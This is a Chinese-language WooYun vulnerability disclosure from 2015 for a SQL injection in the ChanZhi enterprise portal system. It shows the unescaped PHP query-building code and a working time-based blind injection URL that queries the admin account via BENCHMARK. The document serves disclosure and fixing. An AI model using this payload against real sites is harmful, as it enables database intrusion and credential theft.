当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101784

漏洞标题:蝉知企业门户系统某文件sqli(可引发多处注入)

相关厂商:chanzhi.org

漏洞作者: 待续

提交时间:2015-03-17 16:44

修复时间:2015-06-17 16:14

公开时间:2015-06-17 16:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-19: 厂商已经确认,细节仅向厂商公开
2015-03-22: 细节向第三方安全合作伙伴开放
2015-05-13: 细节向核心白帽子及相关领域专家公开
2015-05-23: 细节向普通白帽子公开
2015-06-02: 细节向实习白帽子公开
2015-06-17: 细节向公众公开

简要描述:

rt

详细说明:

问题出在system/lib/dao/dao.class.php这个文件中
dao是一个sql语句拼接类,这个类有问题会导致多处注入,问题函数如下

public function in($ids)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$this->sql .= helper::dbIN($ids);
return $this;
}


我们跟进dbIN方法看看

static public function dbIN($ids)
{
if(is_array($ids)) return "IN ('" . join("','", $ids) . "')";
return "IN ('" . str_replace(',', "','", str_replace(' ', '',$ids)) . "')";
}


这也只是一个拼接操作,跟踪到这里已经完了
但是还未发现过滤?
是不是单引号就可以带进sql语句中了呢
我随便找一个点测试

1.jpg


可以看到 单引号已经被带进来了
下面就是
写exp了

漏洞证明:

虽然这样in函数未过滤,但是有个很棘手的问题
根据代码我们知道in函数会给逗号左右都加一个单引号
经过我的不断折腾 终于还是突破了;
exp:
http://localhost/www/index.php?m=article&f=view&id=3')and/**/IF((select/**/account/**/from/**/eps_user/**/limit/**/1)='admin,1'=BENCHMARK('500000000,hello')='1,false')%23
这样就能成功延时注入了

修复方案:

addslashes

版权声明:转载请注明来源 待续@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-19 16:12

厂商回复:

谢谢反馈。

最新状态:

暂无